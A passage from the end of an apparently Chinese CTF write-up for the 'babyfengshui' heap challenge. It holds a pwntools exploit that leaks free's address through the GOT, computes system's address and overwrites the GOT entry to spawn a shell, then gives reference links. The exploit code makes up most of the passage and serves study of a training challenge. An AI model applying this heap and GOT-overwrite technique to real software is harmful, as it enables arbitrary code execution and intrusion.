    add_user(0x8, 0x8, '/bin/sh\x00')   # 2
    delete_user(0)

    add_user(0x100, 0x19c, "A"*0x198 + p32(elf.got['free']))    # 0

    display_user(1)
    io.recvuntil("description: ")
    free_addr = u32(io.recvn(4))
    system_addr = free_addr - (libc.symbols['free'] - libc.symbols['system'])
    log.info("system address: 0x%x" % system_addr)

    update_desc(1, 0x4, p32(system_addr))
    delete_user(2)

    io.interactive()

参考资料

https://ctftime.org/task/3282
https://github.com/bkth/babyfengshui
下载文件
题目复现
题目解析
漏洞利用
参考资料